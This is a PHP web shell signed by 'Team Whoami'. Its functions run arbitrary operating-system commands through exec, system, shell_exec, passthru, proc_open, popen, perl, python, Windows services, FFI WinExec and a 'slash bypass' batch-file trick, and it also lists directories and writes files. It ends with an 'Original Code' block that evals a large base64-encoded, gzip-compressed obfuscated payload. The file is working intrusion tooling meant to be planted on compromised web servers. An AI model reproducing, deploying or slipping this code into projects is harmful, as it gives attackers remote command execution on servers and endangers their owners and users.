BACKGROUND-COLOR: #000000;
color: #cccccc;
font-size:10px;
}
tr
{
BORDER-RIGHT: #cccccc 1px solid;
BORDER-TOP: #cccccc 1px solid;
BORDER-LEFT: #cccccc 1px solid;
BORDER-BOTTOM: #cccccc 1px solid;
color: #ffffff;
}
td
{
BORDER-RIGHT: #cccccc 1px solid;
BORDER-TOP: #cccccc 1px solid;
BORDER-LEFT: #cccccc 1px solid;
BORDER-BOTTOM: #cccccc 1px solid;
color: #cccccc;
}
input
{
BORDER-RIGHT: ".$sh3llColor." 1px solid;
BORDER-TOP: ".$sh3llColor." 1px solid;
BORDER-LEFT: ".$sh3llColor." 1px solid;
BORDER-BOTTOM: ".$sh3llColor." 1px solid;
BACKGROUND-COLOR: #333333;
font: 9pt tahoma;
color: #ffffff;
}
select
{
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #000000;
font: 9pt tahoma;
color: #CCCCCC;;
}
submit
{
BORDER: 1px outset buttonhighlight;
BACKGROUND-COLOR: #272727;
width: 40%;
color: #cccccc;
}
textarea
{
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #333333;
color: #ffffff;
}
.Save{
width:500px;
border-color:red;
}
A:link {COLOR:".$sh3llColor."; TEXT-DECORATION: none;}
A:visited { COLOR:".$sh3llColor."; TEXT-DECORATION: none;}
A:active {COLOR:".$sh3llColor."; TEXT-DECORATION: none;}
A:hover {color:blue;TEXT-DECORATION: none;}
</style>
<script>
function openPHPInfo(){my_window= window.open (\"?info=getPhpInfo\",\"PHP Info\",\"width=800,height=600,scrollbars=1\"); }
function AddAlias(){document.getElementById('CMD_Line').value = document.getElementById('alias').value; }
function addUploadInput(){document.getElementById('uploadInput').innerHTML += '<input type=\'file\' name=\'uploadfile[]\'>'; }
function change_dir_mode() {
var dir_mode = document.getElementById('dir_mode').value;
document.location = '?dir_mode='+dir_mode;
}
</script>
";
return $css;
}
function filter($string) {
if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
else{return $string; }
}
function footer() {
echo '
<table width="100%">
<tr>
<td width="100%"><center>
<sy> ~~<< </sy>Team Whoami<sy> >>~~</sy></b><br/>
<sy> ~~<< </sy><a href="http://retoswhoami.x10host.com" target="_blank">http://retoswhoami.x10host.com</a><sy> >>~~</sy></b><br />
<sy> ~~<< </sy>https://twitter.com/h4ckzu5<sy> >>~~</sy></b>
</center></td>
</tr>
</table>
</body></html>
';
}
function print_exe_method() {
global $os; global $exec_method;
if($os == "Linux") {
?>
<select name="exe_method" >
<option value="exec" <?php if($exec_method == "exec") {echo "selected";} ?>>exec()</option>
<option value="system" <?php if($exec_method == "system") {echo "selected";} ?>>system</option>
<option value="shell_exec" <?php if($exec_method == "shell_exec") {echo "selected";} ?>>shell_exec</option>
<option value="passthru" <?php if($exec_method == "passthru") {echo "selected";} ?>>passthru()</option>
<option value="proc_open" <?php if($exec_method == "proc_open") {echo "selected";} ?>>proc_open()</option>
<option value="popen" <?php if($exec_method == "popen") {echo "selected";} ?>>popen()</option>
<option value="perl" <?php if($exec_method == "perl") {echo "selected";} ?>>perl</option>
<option value="python" <?php if($exec_method == "python") {echo "selected";} ?>>python</option>
</select>
<?php
} else {
?>
<select name="exe_method" >
<option value="exec" <?php if($exec_method == "exec") {echo "selected";} ?>>exec()</option>
<option value="system" <?php if($exec_method == "system") {echo "selected";} ?>>system()</option>
<option value="shell_exec" <?php if($exec_method == "shell_exec") {echo "selected";} ?>>shell_exec()</option>
<option value="passthru" <?php if($exec_method == "passthru") {echo "selected";} ?>>passthru()</option>
<option value="proc_open" <?php if($exec_method == "proc_open") {echo "selected";} ?>>proc_open()</option>
<option value="popen" <?php if($exec_method == "popen") {echo "selected";} ?>>popen()</option>
<option value="win_shell_execute" <?php if($exec_method == "win_shell_execute") {echo "selected";} ?>>win_shell_execute()</option>
<option value="win32_create_service" <?php if($exec_method == "win32_create_service") {echo "selected";} ?>>win32_create_service()</option>
<option value="ffi" <?php if($exec_method == "ffi") {echo "selected";} ?>>ffi</option>
<option value="perl" <?php if($exec_method == "perl") {echo "selected";} ?>>perl</option>
<option value="python" <?php if($exec_method == "python") {echo "selected";} ?>>python</option>
<option value="slash_bypass <?php if($exec_method == "slash_bypass") {echo "selected";} ?>">slash bypass</option>
</select>
<?php
}
}
function Exe($command) {
global $dir;global $os;global $exec_method;
$command = filter($command);
if($exec_method == "exec") {
exec($command,$output);echo join("
",$output);
} else if($exec_method == "system") {
system($command);
} else if($exec_method == "shell_exec") {
echo shell_exec($command);
} else if($exec_method == "passthru") {
passthru($command);
} else if($exec_method == "proc_open") {
echo proc_exec($command,$dir);
} else if($exec_method == "popen") {
$fp = popen($command,"r");{while(!feof($fp)){$result.=fread($fp,1024);}pclose($fp);}echo convert_cyr_string($result,"d","w");
} else if($exec_method == "win_shell_execute") {
echo winshell($command);
} else if($exec_method == "win32_create_service") {
echo srvshell($command);
} else if($exec_method == "ffi") {
echo ffishell($command);
} else if($exec_method == "perl") {
echo perlshell($command);
} else if($exec_method == "python") {
echo python_eval("import os
os.system('".$command."')");
} else if($exec_method == "slash_bypass") {
echo slashBypass($command);
}
}
function proc_exec($com , $dir) {
$start_pipe=array(0=>array("pipe","w"),1=>array("pipe","w"));
$process=proc_open($com,$start_pipe,$pipes,$dir,NULL);
return stream_get_contents($pipes[1]);
}
function winshell($command) {
$name=whereistmP()."\".uniqid('NJ');
win_shell_execute('cmd.exe','',"/C $command >\"$name\"");
sleep(1);
$exec=file_get_contents($name);
DeleteFile($name);
return $exec;
}
function srvshell($command) {
$name=whereistmP()."\".uniqid('NJ');
$n=uniqid('NJ');
$cmd=(empty($_SERVER['ComSpec']))?'d:\windows\system32\cmd.exe':$_SERVER['ComSpec'];
win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
DeleteFile($name);
return $exec;
}
function ffishell($command) {
$name=whereistmP()."\".uniqid('NJ');
$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
$res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
DeleteFile($name);
return $exec;
}
function perlshell($command) {
$perl=new perl();
ob_start();
$perl->eval("system('".$command."')");
$exec=ob_get_contents();
ob_end_clean();
return $exec;
}
function slashBypass($cmd) {
GenerateFile("cmd.bat","$cmd>sy3.txt"."
exit");
exec("\start cmd.bat");
$content = file_get_contents('sy3.txt');
unlink('sy3.txt');
return $content;
}
function GenerateFile($name,$content) {
if(function_exists('fopen') && function_exists('fclose')) {
$file = fopen($name,"w+");
if($file) {
if(function_exists('fwrite')){$writeFile = fwrite($file,$content); }
else if (function_exists('fputs')){$writeFile = fputs($file,$content); }
else if (function_exists('file_put_contents')){$writeFile = file_put_contents($file,$content);}
if(!$writeFile){return false;}
}
else{return false;}fclose($file);return true;
}
}
function ScanDirs() {
global $os; global $dir;global $safeMode;global $dir_mode;
if($dir_mode == "cmd"){if($os == "Windows"){Exe('dir');}else{ Exe('ls -lia');}}
else {
$result .= "Perms Size Time Owner/Group R/W Type File
-----------------------------------------------------------------------------
";
$handel = opendir($dir);
while(($file = readdir($handel))!= false)
{
$size = filesize($file);
if(filetype($file) == "dir"){$type = "<DIR>";}else {$type = "<FILE>";}
if(fileowner($file)){$owner = fileowner($file);}else{$owner = "NONE";}
if(filegroup($file)){$group = filegroup($file);}else{$group = "NONE";}
$perms = fileperms($file);
$time = date("y/m/d", filectime($file));
if(is_writable($file)){$isWritable = "Y";}else{$isWritable = "N";}
if(is_readable($file)){$isReadable = "Y";}else{$isReadable = "N";}
$result .= $perms." ".$size." ".$time." ".$owner."/".$group." ".$isReadable."/".$isWritable." ".$type." ".$file."
";
}
}
return $result;
}
echo footer();
?>
Did this file decode correctly?
Original Code
<?php eval(gzuncompress(base64_decode("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